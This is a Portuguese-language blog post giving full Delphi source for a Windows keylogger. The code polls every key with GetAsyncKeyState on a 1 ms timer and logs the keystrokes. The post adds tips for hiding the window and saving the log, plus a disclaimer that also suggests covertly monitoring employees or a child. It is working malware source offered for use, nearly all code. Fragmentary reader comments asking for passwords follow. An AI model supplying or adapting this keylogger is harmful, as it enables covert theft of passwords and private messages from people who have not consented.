Essa dica de Delphi é muuuuito boa! Um tempão atrás disso...
Finalmente achei algo significante... Use por sua conta e risco!!!
Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou
seja, um método fácil de criar um keylogger. É uma dica de programação,
portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar
em diversas outras versões também...
Como é avançada, apesar de relativamente fácil, não vou comentar
muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um
comentário neste post, e NÃO me envie e-mails perguntando porque não
tenho tempo para responder sobre programação ou coisas avançadas.
Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.
No código, defina a seguinte função:
function Coloca(txt: String):
String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
E coloque no evento Timer do temporizador:
procedure
TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop
<= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop
<= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop
<= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão
ficará difícil captar neh.. rs
e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq
se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o
Timer fica adicionando a ele, e ficará repedito e confuso..
Então... Rode o programa (tecle F9).
Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua
janela não estiver ativa (digo, se estiver por trás das outras ou
ocultas). Keylogger que se preze... Não fica em janela!
Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é
com você...
Dica: para ocultar o programa, digite
Application.ShowMainForm := False, no código-fonte do projeto, depois do
Application.Initialize e antes do Application.CreateForm... Mas aí você
deverá ter criado um método para recuperar o que foi digitado, né?!
Adapte o programa como você quiser,
afinal aqui apenas mostrei como é possível capturar o que foi digitado.
Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do
Windows, através da guia "Processos".
deixo claro que esse código realmente "funciona", eu testei e
coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!
UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS
DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS
PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER
USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA
EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE
PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM,
PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA
ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM
USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO
DEVE SER DEIXADO BEM CLARO EM CONTRATO.
NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO
DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E
RESPONSABILIDADE, SEMPRE.
NOTA: Apesar de funcionar, essa forma de criar
keylogger é uma gambiarra tremenda. Não é ideal usar um Timer para isso,
devido o processamento, quem sabe em alguma situação com uso intensivo
de CPU por outras aplicações algumas teclas deixem de ser capturadas. O
melhor é estudar sobre Hooks usando a API do Windows que intercepta os
caracteres enviados pelo teclado, mas falar disso fica para uma outra
hora.
17/06/2010 @ 00:36:30
por helder
ou erique pelo amor de deus ...
24/05/2010 @ 19:38:07
por carlos da prepara
que porrra meu quero baixar o ...
24/05/2010 @ 19:36:58
por carlos da prepara
VAMOS NEGOCIAR PRA TU LIMPAR MEU ...
05/05/2010 @ 17:18:33
por JUNIOR
preciso do operador e senha, do ...
28/04/2010 @ 22:52:47
por eliane